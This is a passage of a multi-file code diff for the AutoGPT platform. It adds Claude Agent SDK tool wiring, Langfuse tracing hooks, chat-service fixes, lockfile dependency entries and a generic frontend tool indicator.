+        read_tool = tool(
+            _READ_TOOL_NAME,
+            _READ_TOOL_DESCRIPTION,
+            _READ_TOOL_SCHEMA,
+        )(_read_file_handler)
+        sdk_tools.append(read_tool)
+
+        server = create_sdk_mcp_server(
+            name=MCP_SERVER_NAME,
+            version="1.0.0",
+            tools=sdk_tools,
+        )
+
+        return server
+
+    except ImportError:
+        # Let ImportError propagate so service.py handles the fallback
+        raise
+
+
+# SDK built-in tools allowed within the workspace directory.
+# Security hooks validate that file paths stay within sdk_cwd
+# and that Bash commands are restricted to a safe allowlist.
+_SDK_BUILTIN_TOOLS = ["Read", "Write", "Edit", "Glob", "Grep", "Bash"]
+
+# List of tool names for allowed_tools configuration
+# Include MCP tools, the MCP Read tool for oversized results,
+# and SDK built-in file tools for workspace operations.
+COPILOT_TOOL_NAMES = [
+    *[f"{MCP_TOOL_PREFIX}{name}" for name in TOOL_REGISTRY.keys()],
+    f"{MCP_TOOL_PREFIX}{_READ_TOOL_NAME}",
+    *_SDK_BUILTIN_TOOLS,
+]

autogpt_platform/backend/backend/api/features/chat/sdk/tracing.py

@@ -0,0 +1,429 @@
+"""Langfuse tracing integration for Claude Agent SDK.
+
+This module provides modular, non-invasive observability for SDK sessions.
+All tracing is opt-in (only active when Langfuse credentials are configured)
+and designed to not affect the core execution flow.
+
+Usage:
+    async with TracedSession(session_id, user_id) as tracer:
+        # Your SDK code here
+        tracer.log_user_message(message)
+        async for sdk_msg in client.receive_messages():
+            tracer.log_sdk_message(sdk_msg)
+        tracer.log_result(result_message)
+"""
+
+from __future__ import annotations
+
+import logging
+import time
+from contextlib import asynccontextmanager
+from dataclasses import dataclass, field
+from typing import TYPE_CHECKING, Any
+
+from backend.util.settings import Settings
+
+if TYPE_CHECKING:
+    from claude_agent_sdk import Message, ResultMessage
+
+logger = logging.getLogger(__name__)
+settings = Settings()
+
+
+def _is_langfuse_configured() -> bool:
+    """Check if Langfuse credentials are configured."""
+    return bool(
+        settings.secrets.langfuse_public_key and settings.secrets.langfuse_secret_key
+    )
+
+
+@dataclass
+class ToolSpan:
+    """Tracks a single tool call for tracing."""
+
+    tool_call_id: str
+    tool_name: str
+    input: dict[str, Any]
+    start_time: float = field(default_factory=time.perf_counter)
+    output: str | None = None
+    success: bool = True
+    end_time: float | None = None
+
+
+@dataclass
+class GenerationSpan:
+    """Tracks an LLM generation (text output) for tracing."""
+
+    text: str = ""
+    start_time: float = field(default_factory=time.perf_counter)
+    end_time: float | None = None
+    tool_calls: list[ToolSpan] = field(default_factory=list)
+
+
+class TracedSession:
+    """Context manager for tracing a Claude Agent SDK session with Langfuse.
+
+    Automatically creates a trace with:
+    - Session-level metadata (user_id, session_id)
+    - Generation spans for LLM outputs
+    - Tool call spans with input/output
+    - Token usage and cost (from ResultMessage)
+
+    If Langfuse is not configured, all methods are no-ops.
+    """
+
+    def __init__(
+        self,
+        session_id: str,
+        user_id: str | None = None,
+        system_prompt: str | None = None,
+        model: str | None = None,
+    ):
+        self.session_id = session_id
+        self.user_id = user_id
+        self.system_prompt = system_prompt
+        self.model = model
+        self.enabled = _is_langfuse_configured()
+
+        # Internal state
+        self._trace: Any = None
+        self._langfuse: Any = None
+        self._user_message: str | None = None
+        self._generations: list[GenerationSpan] = []
+        self._current_generation: GenerationSpan | None = None
+        self._pending_tools: dict[str, ToolSpan] = {}
+        self._start_time: float = 0
+
+    async def __aenter__(self) -> TracedSession:
+        """Start the trace."""
+        if not self.enabled:
+            return self
+
+        try:
+            from langfuse import get_client
+
+            self._langfuse = get_client()
+            self._start_time = time.perf_counter()
+
+            # Create the root trace
+            self._trace = self._langfuse.trace(
+                name="copilot-sdk-session",
+                session_id=self.session_id,
+                user_id=self.user_id,
+                metadata={
+                    "sdk": "claude-agent-sdk",
+                    "has_system_prompt": bool(self.system_prompt),
+                },
+            )
+            logger.debug(f"[Tracing] Started trace for session {self.session_id}")
+
+        except Exception as e:
+            logger.warning(f"[Tracing] Failed to start trace: {e}")
+            self.enabled = False
+
+        return self
+
+    async def __aexit__(self, exc_type: Any, exc_val: Any, exc_tb: Any) -> None:
+        """End the trace and flush to Langfuse."""
+        if not self.enabled or not self._trace:
+            return
+
+        try:
+            # Finalize any open generation
+            self._finalize_current_generation()
+
+            # Add generations as spans
+            for gen in self._generations:
+                self._trace.span(
+                    name="llm-generation",
+                    start_time=gen.start_time,
+                    end_time=gen.end_time or time.perf_counter(),
+                    output=gen.text[:1000] if gen.text else None,  # Truncate
+                    metadata={"tool_calls": len(gen.tool_calls)},
+                )
+
+                # Add tool calls as nested spans
+                for tool in gen.tool_calls:
+                    self._trace.span(
+                        name=f"tool:{tool.tool_name}",
+                        start_time=tool.start_time,
+                        end_time=tool.end_time or time.perf_counter(),
+                        input=tool.input,
+                        output=tool.output[:500] if tool.output else None,
+                        metadata={
+                            "tool_call_id": tool.tool_call_id,
+                            "success": tool.success,
+                        },
+                    )
+
+            # Update trace with final status
+            status = "error" if exc_type else "success"
+            self._trace.update(
+                output=self._generations[-1].text[:500] if self._generations else None,
+                metadata={"status": status, "num_generations": len(self._generations)},
+            )
+
+            # Flush asynchronously (Langfuse handles this in background)
+            logger.debug(
+                f"[Tracing] Completed trace for session {self.session_id}, "
+                f"{len(self._generations)} generations"
+            )
+
+        except Exception as e:
+            logger.warning(f"[Tracing] Failed to finalize trace: {e}")
+
+    def log_user_message(self, message: str) -> None:
+        """Log the user's input message."""
+        if not self.enabled or not self._trace:
+            return
+
+        self._user_message = message
+        try:
+            self._trace.update(input=message[:1000])
+        except Exception as e:
+            logger.debug(f"[Tracing] Failed to log user message: {e}")
+
+    def log_sdk_message(self, sdk_message: Message) -> None:
+        """Log an SDK message (automatically categorizes by type)."""
+        if not self.enabled:
+            return
+
+        try:
+            from claude_agent_sdk import (
+                AssistantMessage,
+                ResultMessage,
+                TextBlock,
+                ToolResultBlock,
+                ToolUseBlock,
+                UserMessage,
+            )
+
+            if isinstance(sdk_message, AssistantMessage):
+                # Start a new generation if needed
+                if self._current_generation is None:
+                    self._current_generation = GenerationSpan()
+                    self._generations.append(self._current_generation)
+
+                for block in sdk_message.content:
+                    if isinstance(block, TextBlock) and block.text:
+                        self._current_generation.text += block.text
+
+                    elif isinstance(block, ToolUseBlock):
+                        tool_span = ToolSpan(
+                            tool_call_id=block.id,
+                            tool_name=block.name,
+                            input=block.input or {},
+                        )
+                        self._pending_tools[block.id] = tool_span
+                        if self._current_generation:
+                            self._current_generation.tool_calls.append(tool_span)
+
+            elif isinstance(sdk_message, UserMessage):
+                # UserMessage carries tool results
+                content = sdk_message.content
+                blocks = content if isinstance(content, list) else []
+                for block in blocks:
+                    if isinstance(block, ToolResultBlock) and block.tool_use_id:
+                        tool_span = self._pending_tools.get(block.tool_use_id)
+                        if tool_span:
+                            tool_span.end_time = time.perf_counter()
+                            tool_span.success = not (block.is_error or False)
+                            tool_span.output = self._extract_tool_output(block.content)
+
+                # After tool results, finalize current generation
+                # (SDK will start a new AssistantMessage for continuation)
+                self._finalize_current_generation()
+
+            elif isinstance(sdk_message, ResultMessage):
+                self._log_result(sdk_message)
+
+        except Exception as e:
+            logger.debug(f"[Tracing] Failed to log SDK message: {e}")
+
+    def _log_result(self, result: ResultMessage) -> None:
+        """Log the final result with usage and cost."""
+        if not self.enabled or not self._trace:
+            return
+
+        try:
+            # Extract usage info
+            usage = result.usage or {}
+            metadata: dict[str, Any] = {
+                "duration_ms": result.duration_ms,
+                "duration_api_ms": result.duration_api_ms,
+                "num_turns": result.num_turns,
+                "is_error": result.is_error,
+            }
+
+            if result.total_cost_usd is not None:
+                metadata["cost_usd"] = result.total_cost_usd
+
+            if usage:
+                metadata["usage"] = usage
+
+            self._trace.update(metadata=metadata)
+
+            # Log as a generation for proper Langfuse cost/usage tracking
+            if usage or result.total_cost_usd:
+                self._trace.generation(
+                    name="claude-sdk-completion",
+                    model=self.model or "claude-sonnet-4-20250514",
+                    usage=(
+                        {
+                            "input": usage.get("input_tokens", 0),
+                            "output": usage.get("output_tokens", 0),
+                            "total": usage.get("input_tokens", 0)
+                            + usage.get("output_tokens", 0),
+                        }
+                        if usage
+                        else None
+                    ),
+                    metadata={"cost_usd": result.total_cost_usd},
+                )
+
+            logger.debug(
+                f"[Tracing] Logged result: {result.num_turns} turns, "
+                f"${result.total_cost_usd:.4f} cost"
+                if result.total_cost_usd
+                else f"[Tracing] Logged result: {result.num_turns} turns"
+            )
+
+        except Exception as e:
+            logger.debug(f"[Tracing] Failed to log result: {e}")
+
+    def _finalize_current_generation(self) -> None:
+        """Mark the current generation as complete."""
+        if self._current_generation:
+            self._current_generation.end_time = time.perf_counter()
+            self._current_generation = None
+
+    @staticmethod
+    def _extract_tool_output(content: str | list[dict[str, str]] | None) -> str:
+        """Extract string output from tool result content."""
+        if isinstance(content, str):
+            return content
+        if isinstance(content, list):
+            parts = [
+                item.get("text", "") for item in content if item.get("type") == "text"
+            ]
+            return "".join(parts) if parts else str(content)
+        return str(content) if content else ""
+
+
+@asynccontextmanager
+async def traced_session(
+    session_id: str,
+    user_id: str | None = None,
+    system_prompt: str | None = None,
+    model: str | None = None,
+):
+    """Convenience async context manager for tracing SDK sessions.
+
+    Usage:
+        async with traced_session(session_id, user_id) as tracer:
+            tracer.log_user_message(message)
+            async for msg in client.receive_messages():
+                tracer.log_sdk_message(msg)
+    """
+    tracer = TracedSession(session_id, user_id, system_prompt, model=model)
+    async with tracer:
+        yield tracer
+
+
+def create_tracing_hooks(tracer: TracedSession) -> dict[str, Any]:
+    """Create SDK hooks for fine-grained Langfuse tracing.
+
+    These hooks capture precise timing for tool executions and failures
+    that may not be visible in the message stream.
+
+    Designed to be merged with security hooks:
+        hooks = {**security_hooks, **create_tracing_hooks(tracer)}
+
+    Args:
+        tracer: The active TracedSession instance
+
+    Returns:
+        Hooks configuration dict for ClaudeAgentOptions
+    """
+    if not tracer.enabled:
+        return {}
+
+    try:
+        from claude_agent_sdk import HookMatcher
+        from claude_agent_sdk.types import HookContext, HookInput, SyncHookJSONOutput
+
+        async def trace_pre_tool_use(
+            input_data: HookInput,
+            tool_use_id: str | None,
+            context: HookContext,
+        ) -> SyncHookJSONOutput:
+            """Record tool start time for accurate duration tracking."""
+            _ = context
+            if not tool_use_id:
+                return {}
+            tool_name = str(input_data.get("tool_name", "unknown"))
+            tool_input = input_data.get("tool_input", {})
+
+            # Record start time in pending tools
+            tracer._pending_tools[tool_use_id] = ToolSpan(
+                tool_call_id=tool_use_id,
+                tool_name=tool_name,
+                input=tool_input if isinstance(tool_input, dict) else {},
+            )
+            return {}
+
+        async def trace_post_tool_use(
+            input_data: HookInput,
+            tool_use_id: str | None,
+            context: HookContext,
+        ) -> SyncHookJSONOutput:
+            """Record tool completion for duration calculation."""
+            _ = context
+            if tool_use_id and tool_use_id in tracer._pending_tools:
+                tracer._pending_tools[tool_use_id].end_time = time.perf_counter()
+                tracer._pending_tools[tool_use_id].success = True
+            return {}
+
+        async def trace_post_tool_failure(
+            input_data: HookInput,
+            tool_use_id: str | None,
+            context: HookContext,
+        ) -> SyncHookJSONOutput:
+            """Record tool failures for error tracking."""
+            _ = context
+            if tool_use_id and tool_use_id in tracer._pending_tools:
+                tracer._pending_tools[tool_use_id].end_time = time.perf_counter()
+                tracer._pending_tools[tool_use_id].success = False
+                error = input_data.get("error", "Unknown error")
+                tracer._pending_tools[tool_use_id].output = f"ERROR: {error}"
+            return {}
+
+        return {
+            "PreToolUse": [HookMatcher(matcher="*", hooks=[trace_pre_tool_use])],
+            "PostToolUse": [HookMatcher(matcher="*", hooks=[trace_post_tool_use])],
+            "PostToolUseFailure": [
+                HookMatcher(matcher="*", hooks=[trace_post_tool_failure])
+            ],
+        }
+
+    except ImportError:
+        logger.debug("[Tracing] SDK not available for hook-based tracing")
+        return {}
+
+
+def merge_hooks(*hook_dicts: dict[str, Any]) -> dict[str, Any]:
+    """Merge multiple hook configurations into one.
+
+    Combines hook matchers for the same event type, allowing both
+    security and tracing hooks to coexist.
+
+    Usage:
+        combined = merge_hooks(security_hooks, tracing_hooks)
+    """
+    result: dict[str, list[Any]] = {}
+    for hook_dict in hook_dicts:
+        for event_name, matchers in hook_dict.items():
+            if event_name not in result:
+                result[event_name] = []
+            result[event_name].extend(matchers)
+    return result

autogpt_platform/backend/backend/api/features/chat/service.py

@@ -245,12 +245,16 @@ async def _get_system_prompt_template(context: str) -> str:
     return DEFAULT_SYSTEM_PROMPT.format(users_information=context)
 
 
-async def _build_system_prompt(user_id: str | None) -> tuple[str, Any]:
+async def _build_system_prompt(
+    user_id: str | None, has_conversation_history: bool = False
+) -> tuple[str, Any]:
     """Build the full system prompt including business understanding if available.
 
     Args:
-        user_id: The user ID for fetching business understanding
-                     If "default" and this is the user's first session, will use "onboarding" instead.
+        user_id: The user ID for fetching business understanding.
+        has_conversation_history: Whether there's existing conversation history.
+            If True, we don't tell the model to greet/introduce (since they're
+            already in a conversation).
 
     Returns:
         Tuple of (compiled prompt string, business understanding object)
@@ -266,6 +270,8 @@ async def _build_system_prompt(user_id: str | None) -> tuple[str, Any]:
 
     if understanding:
         context = format_understanding_for_prompt(understanding)
+    elif has_conversation_history:
+        context = "No prior understanding saved yet. Continue the existing conversation naturally."
     else:
         context = "This is the first time you are meeting the user. Greet them and introduce them to the platform"
 
@@ -374,7 +380,6 @@ async def stream_chat_completion(
 
     Raises:
         NotFoundError: If session_id is invalid
-        ValueError: If max_context_messages is exceeded
 
     """
     completion_start = time.monotonic()
@@ -459,8 +464,9 @@ async def stream_chat_completion(
 
     # Generate title for new sessions on first user message (non-blocking)
     # Check: is_user_message, no title yet, and this is the first user message
-    if is_user_message and message and not session.title:
-        user_messages = [m for m in session.messages if m.role == "user"]
+    user_messages = [m for m in session.messages if m.role == "user"]
+    first_user_msg = message or (user_messages[0].content if user_messages else None)
+    if is_user_message and first_user_msg and not session.title:
         if len(user_messages) == 1:
             # First user message - generate title in background
             import asyncio
@@ -468,7 +474,7 @@ async def stream_chat_completion(
             # Capture only the values we need (not the session object) to avoid
             # stale data issues when the main flow modifies the session
             captured_session_id = session_id
-            captured_message = message
+            captured_message = first_user_msg
             captured_user_id = user_id
 
             async def _update_title():
@@ -800,13 +806,9 @@ async def stream_chat_completion(
         # Build the messages list in the correct order
         messages_to_save: list[ChatMessage] = []
 
-        # Add assistant message with tool_calls if any.
-        # Use extend (not assign) to preserve tool_calls already added by
-        # _yield_tool_call for long-running tools.
+        # Add assistant message with tool_calls if any
         if accumulated_tool_calls:
-            if not assistant_response.tool_calls:
-                assistant_response.tool_calls = []
-            assistant_response.tool_calls.extend(accumulated_tool_calls)
+            assistant_response.tool_calls = accumulated_tool_calls
             logger.info(
                 f"Added {len(accumulated_tool_calls)} tool calls to assistant message"
             )
@@ -1237,7 +1239,7 @@ async def _stream_chat_chunks(
 
                 total_time = (time_module.perf_counter() - stream_chunks_start) * 1000
                 logger.info(
-                    f"[TIMING] _stream_chat_chunks COMPLETED in {total_time/1000:.1f}s; "
+                    f"[TIMING] _stream_chat_chunks COMPLETED in {total_time / 1000:.1f}s; "
                     f"session={session.session_id}, user={session.user_id}",
                     extra={"json_fields": {**log_meta, "total_time_ms": total_time}},
                 )
@@ -1408,9 +1410,13 @@ async def _yield_tool_call(
                 operation_id=operation_id,
             )
 
-            # Attach the tool_call to the current turn's assistant message
-            # (or create one if this is a tool-only response with no text).
-            session.add_tool_call_to_current_turn(tool_calls[yield_idx])
+            # Save assistant message with tool_call FIRST (required by LLM)
+            assistant_message = ChatMessage(
+                role="assistant",
+                content="",
+                tool_calls=[tool_calls[yield_idx]],
+            )
+            session.messages.append(assistant_message)
 
             # Then save pending tool result
             pending_message = ChatMessage(

autogpt_platform/backend/backend/api/features/chat/stream_registry.py

@@ -814,6 +814,28 @@ async def get_active_task_for_session(
                 if task_user_id and user_id != task_user_id:
                     continue
 
+                # Auto-expire stale tasks that exceeded stream_timeout
+                created_at_str = meta.get("created_at", "")
+                if created_at_str:
+                    try:
+                        created_at = datetime.fromisoformat(created_at_str)
+                        age_seconds = (
+                            datetime.now(timezone.utc) - created_at
+                        ).total_seconds()
+                        if age_seconds > config.stream_timeout:
+                            logger.warning(
+                                f"[TASK_LOOKUP] Auto-expiring stale task {task_id[:8]}... "
+                                f"(age={age_seconds:.0f}s > timeout={config.stream_timeout}s)"
+                            )
+                            await mark_task_completed(task_id, "failed")
+                            continue
+                    except (ValueError, TypeError):
+                        pass
+
+                logger.info(
+                    f"[TASK_LOOKUP] Found running task {task_id[:8]}... for session {session_id[:8]}..."
+                )
+
                 # Get the last message ID from Redis Stream
                 stream_key = _get_task_stream_key(task_id)
                 last_id = "0-0"

autogpt_platform/backend/backend/api/features/chat/tools/models.py

@@ -335,11 +335,17 @@ class BlockInfoSummary(BaseModel):
     name: str
     description: str
     categories: list[str]
-    input_schema: dict[str, Any]
-    output_schema: dict[str, Any]
+    input_schema: dict[str, Any] = Field(
+        default_factory=dict,
+        description="Full JSON schema for block inputs",
+    )
+    output_schema: dict[str, Any] = Field(
+        default_factory=dict,
+        description="Full JSON schema for block outputs",
+    )
     required_inputs: list[BlockInputFieldInfo] = Field(
         default_factory=list,
-        description="List of required input fields for this block",
+        description="List of input fields for this block",
     )
 
 
@@ -352,7 +358,7 @@ class BlockListResponse(ToolResponseBase):
     query: str
     usage_hint: str = Field(
         default="To execute a block, call run_block with block_id set to the block's "
-        "'id' field and input_data containing the required fields from input_schema."
+        "'id' field and input_data containing the fields listed in required_inputs."
     )
 
 

autogpt_platform/backend/poetry.lock

@@ -897,6 +897,29 @@ files = [
     {file = "charset_normalizer-3.4.4.tar.gz", hash = "sha256:94537985111c35f28720e43603b8e7b43a6ecfb2ce1d3058bbe955b73404e21a"},
 ]
 
+[[package]]
+name = "claude-agent-sdk"
+version = "0.1.35"
+description = "Python SDK for Claude Code"
+optional = false
+python-versions = ">=3.10"
+groups = ["main"]
+files = [
+    {file = "claude_agent_sdk-0.1.35-py3-none-macosx_11_0_arm64.whl", hash = "sha256:df67f4deade77b16a9678b3a626c176498e40417f33b04beda9628287f375591"},
+    {file = "claude_agent_sdk-0.1.35-py3-none-manylinux_2_17_aarch64.whl", hash = "sha256:14963944f55ded7c8ed518feebfa5b4284aa6dd8d81aeff2e5b21a962ce65097"},
+    {file = "claude_agent_sdk-0.1.35-py3-none-manylinux_2_17_x86_64.whl", hash = "sha256:84344dcc535d179c1fc8a11c6f34c37c3b583447bdf09d869effb26514fd7a65"},
+    {file = "claude_agent_sdk-0.1.35-py3-none-win_amd64.whl", hash = "sha256:1b3d54b47448c93f6f372acd4d1757f047c3c1e8ef5804be7a1e3e53e2c79a5f"},
+    {file = "claude_agent_sdk-0.1.35.tar.gz", hash = "sha256:0f98e2b3c71ca85abfc042e7a35c648df88e87fda41c52e6779ef7b038dcbb52"},
+]
+
+[package.dependencies]
+anyio = ">=4.0.0"
+mcp = ">=0.1.0"
+typing-extensions = {version = ">=4.0.0", markers = "python_version < \"3.11\""}
+
+[package.extras]
+dev = ["anyio[trio] (>=4.0.0)", "mypy (>=1.0.0)", "pytest (>=7.0.0)", "pytest-asyncio (>=0.20.0)", "pytest-cov (>=4.0.0)", "ruff (>=0.1.0)"]
+
 [[package]]
 name = "cleo"
 version = "2.1.0"
@@ -2593,6 +2616,18 @@ http2 = ["h2 (>=3,<5)"]
 socks = ["socksio (==1.*)"]
 zstd = ["zstandard (>=0.18.0)"]
 
+[[package]]
+name = "httpx-sse"
+version = "0.4.3"
+description = "Consume Server-Sent Event (SSE) messages with HTTPX."
+optional = false
+python-versions = ">=3.9"
+groups = ["main"]
+files = [
+    {file = "httpx_sse-0.4.3-py3-none-any.whl", hash = "sha256:0ac1c9fe3c0afad2e0ebb25a934a59f4c7823b60792691f779fad2c5568830fc"},
+    {file = "httpx_sse-0.4.3.tar.gz", hash = "sha256:9b1ed0127459a66014aec3c56bebd93da3c1bc8bb6618c8082039a44889a755d"},
+]
+
 [[package]]
 name = "huggingface-hub"
 version = "1.4.1"
@@ -3310,6 +3345,39 @@ files = [
     {file = "mccabe-0.7.0.tar.gz", hash = "sha256:348e0240c33b60bbdf4e523192ef919f28cb2c3d7d5c7794f74009290f236325"},
 ]
 
+[[package]]
+name = "mcp"
+version = "1.26.0"
+description = "Model Context Protocol SDK"
+optional = false
+python-versions = ">=3.10"
+groups = ["main"]
+files = [
+    {file = "mcp-1.26.0-py3-none-any.whl", hash = "sha256:904a21c33c25aa98ddbeb47273033c435e595bbacfdb177f4bd87f6dceebe1ca"},
+    {file = "mcp-1.26.0.tar.gz", hash = "sha256:db6e2ef491eecc1a0d93711a76f28dec2e05999f93afd48795da1c1137142c66"},
+]
+
+[package.dependencies]
+anyio = ">=4.5"
+httpx = ">=0.27.1"
+httpx-sse = ">=0.4"
+jsonschema = ">=4.20.0"
+pydantic = ">=2.11.0,<3.0.0"
+pydantic-settings = ">=2.5.2"
+pyjwt = {version = ">=2.10.1", extras = ["crypto"]}
+python-multipart = ">=0.0.9"
+pywin32 = {version = ">=310", markers = "sys_platform == \"win32\""}
+sse-starlette = ">=1.6.1"
+starlette = ">=0.27"
+typing-extensions = ">=4.9.0"
+typing-inspection = ">=0.4.1"
+uvicorn = {version = ">=0.31.1", markers = "sys_platform != \"emscripten\""}
+
+[package.extras]
+cli = ["python-dotenv (>=1.0.0)", "typer (>=0.16.0)"]
+rich = ["rich (>=13.9.4)"]
+ws = ["websockets (>=15.0.1)"]
+
 [[package]]
 name = "mdurl"
 version = "0.1.2"
@@ -5994,7 +6062,7 @@ description = "Python for Window Extensions"
 optional = false
 python-versions = "*"
 groups = ["main"]
-markers = "platform_system == \"Windows\""
+markers = "sys_platform == \"win32\" or platform_system == \"Windows\""
 files = [
     {file = "pywin32-311-cp310-cp310-win32.whl", hash = "sha256:d03ff496d2a0cd4a5893504789d4a15399133fe82517455e78bad62efbb7f0a3"},
     {file = "pywin32-311-cp310-cp310-win_amd64.whl", hash = "sha256:797c2772017851984b97180b0bebe4b620bb86328e8a884bb626156295a63b3b"},
@@ -6974,6 +7042,28 @@ postgresql-psycopgbinary = ["psycopg[binary] (>=3.0.7)"]
 pymysql = ["pymysql"]
 sqlcipher = ["sqlcipher3_binary"]
 
+[[package]]
+name = "sse-starlette"
+version = "3.2.0"
+description = "SSE plugin for Starlette"
+optional = false
+python-versions = ">=3.9"
+groups = ["main"]
+files = [
+    {file = "sse_starlette-3.2.0-py3-none-any.whl", hash = "sha256:5876954bd51920fc2cd51baee47a080eb88a37b5b784e615abb0b283f801cdbf"},
+    {file = "sse_starlette-3.2.0.tar.gz", hash = "sha256:8127594edfb51abe44eac9c49e59b0b01f1039d0c7461c6fd91d4e03b70da422"},
+]
+
+[package.dependencies]
+anyio = ">=4.7.0"
+starlette = ">=0.49.1"
+
+[package.extras]
+daphne = ["daphne (>=4.2.0)"]
+examples = ["aiosqlite (>=0.21.0)", "fastapi (>=0.115.12)", "sqlalchemy[asyncio] (>=2.0.41)", "uvicorn (>=0.34.0)"]
+granian = ["granian (>=2.3.1)"]
+uvicorn = ["uvicorn (>=0.34.0)"]
+
 [[package]]
 name = "stagehand"
 version = "0.5.9"
@@ -8440,4 +8530,4 @@ cffi = ["cffi (>=1.17,<2.0) ; platform_python_implementation != \"PyPy\" and pyt
 [metadata]
 lock-version = "2.1"
 python-versions = ">=3.10,<3.14"
-content-hash = "c06e96ad49388ba7a46786e9ea55ea2c1a57408e15613237b4bee40a592a12af"
+content-hash = "942dea6daf671c3be65a22f3445feda26c1af9409d7173765e9a0742f0aa05dc"

autogpt_platform/backend/pyproject.toml

@@ -16,6 +16,7 @@ anthropic = "^0.79.0"
 apscheduler = "^3.11.1"
 autogpt-libs = { path = "../autogpt_libs", develop = true }
 bleach = { extras = ["css"], version = "^6.2.0" }
+claude-agent-sdk = "^0.1.0"
 click = "^8.2.0"
 cryptography = "^46.0"
 discord-py = "^2.5.2"

autogpt_platform/frontend/src/app/(platform)/build/components/FlowEditor/edges/CustomEdge.tsx

@@ -63,17 +63,6 @@ const CustomEdge = ({
 
   return (
     <>
-      {/* Invisible interaction path - wider hit area for hover detection */}
-      <path
-        d={edgePath}
-        fill="none"
-        stroke="black"
-        strokeOpacity={0}
-        strokeWidth={20}
-        className="react-flow__edge-interaction cursor-pointer"
-        onMouseEnter={() => setIsHovered(true)}
-        onMouseLeave={() => setIsHovered(false)}
-      />
       <BaseEdge
         path={edgePath}
         markerEnd={markerEnd}

autogpt_platform/frontend/src/app/(platform)/copilot/components/ChatMessagesContainer/ChatMessagesContainer.tsx

@@ -20,6 +20,7 @@ import { FindBlocksTool } from "../../tools/FindBlocks/FindBlocks";
 import { RunAgentTool } from "../../tools/RunAgent/RunAgent";
 import { RunBlockTool } from "../../tools/RunBlock/RunBlock";
 import { SearchDocsTool } from "../../tools/SearchDocs/SearchDocs";
+import { GenericTool } from "../../tools/GenericTool/GenericTool";
 import { ViewAgentOutputTool } from "../../tools/ViewAgentOutput/ViewAgentOutput";
 
 // ---------------------------------------------------------------------------
@@ -255,6 +256,16 @@ export const ChatMessagesContainer = ({
                         />
                       );
                     default:
+                      // Render a generic tool indicator for SDK built-in
+                      // tools (Read, Glob, Grep, etc.) or any unrecognized tool
+                      if (part.type.startsWith("tool-")) {
+                        return (
+                          <GenericTool
+                            key={`${message.id}-${i}`}
+                            part={part as ToolUIPart}
+                          />
+                        );
+                      }
                       return null;
                   }
                 })}

autogpt_platform/frontend/src/app/(platform)/copilot/tools/GenericTool/GenericTool.tsx

@@ -0,0 +1,63 @@
+"use client";
+
+import { ToolUIPart } from "ai";
+import { GearIcon } from "@phosphor-icons/react";
+import { MorphingTextAnimation } from "../../components/MorphingTextAnimation/MorphingTextAnimation";
+
+interface Props {
+  part: ToolUIPart;
+}
+
+function extractToolName(part: ToolUIPart): string {
+  // ToolUIPart.type is "tool-{name}", extract the name portion.
+  return part.type.replace(/^tool-/, "");
+}
+
+function formatToolName(name: string): string {
+  // "search_docs" → "Search docs", "Read" → "Read"
+  return name.replace(/_/g, " ").replace(/^\w/, (c) => c.toUpperCase());
+}
+
+function getAnimationText(part: ToolUIPart): string {
+  const label = formatToolName(extractToolName(part));
+
+  switch (part.state) {
+    case "input-streaming":
+    case "input-available":
+      return `Running ${label}…`;
+    case "output-available":
+      return `${label} completed`;
+    case "output-error":
+      return `${label} failed`;
+    default:
+      return `Running ${label}…`;
+  }
+}
+
+export function GenericTool({ part }: Props) {
+  const isStreaming =
+    part.state === "input-streaming" || part.state === "input-available";
+  const isError = part.state === "output-error";
+
+  return (
+    <div className="py-2">
+      <div className="flex items-center gap-2 text-sm text-muted-foreground">
+        <GearIcon
+          size={14}
+          weight="regular"
+          className={
+            isError
+              ? "text-red-500"
+              : isStreaming
+                ? "animate-spin text-neutral-500"
+                : "text-neutral-400"
+          }
+        />
+        <MorphingTextAnimation
+          text={getAnimationText(part)}
+          className={isError ? "text-red-500" : undefined}
+        />
+      </div>
+    </div>
+  );
+}

autogpt_platform/frontend/src/app/api/openapi.json

@@ -7022,29 +7022,24 @@
           "input_schema": {
             "additionalProperties": true,
             "type": "object",
-            "title": "Input Schema"
+            "title": "Input Schema",
+            "description": "Full JSON schema for block inputs"
           },
           "output_schema": {
             "additionalProperties": true,
             "type": "object",
-            "title": "Output Schema"
+            "title": "Output Schema",
+            "description": "Full JSON schema for block outputs"
           },
           "required_inputs": {
             "items": { "$ref": "#/components/schemas/BlockInputFieldInfo" },
             "type": "array",
             "title": "Required Inputs",
-            "description": "List of required input fields for this block"
+            "description": "List of input fields for this block"
           }
         },
         "type": "object",
-        "required": [
-          "id",
-          "name",
-          "description",
-          "categories",
-          "input_schema",
-          "output_schema"
-        ],
+        "required": ["id", "name", "description", "categories"],
         "title": "BlockInfoSummary",
         "description": "Summary of a block for search results."
       },
@@ -7090,7 +7085,7 @@
           "usage_hint": {
             "type": "string",
             "title": "Usage Hint",
-            "default": "To execute a block, call run_block with block_id set to the block's 'id' field and input_data containing the required fields from input_schema."
+            "default": "To execute a block, call run_block with block_id set to the block's 'id' field and input_data containing the fields listed in required_inputs."
           }
         },
         "type": "object",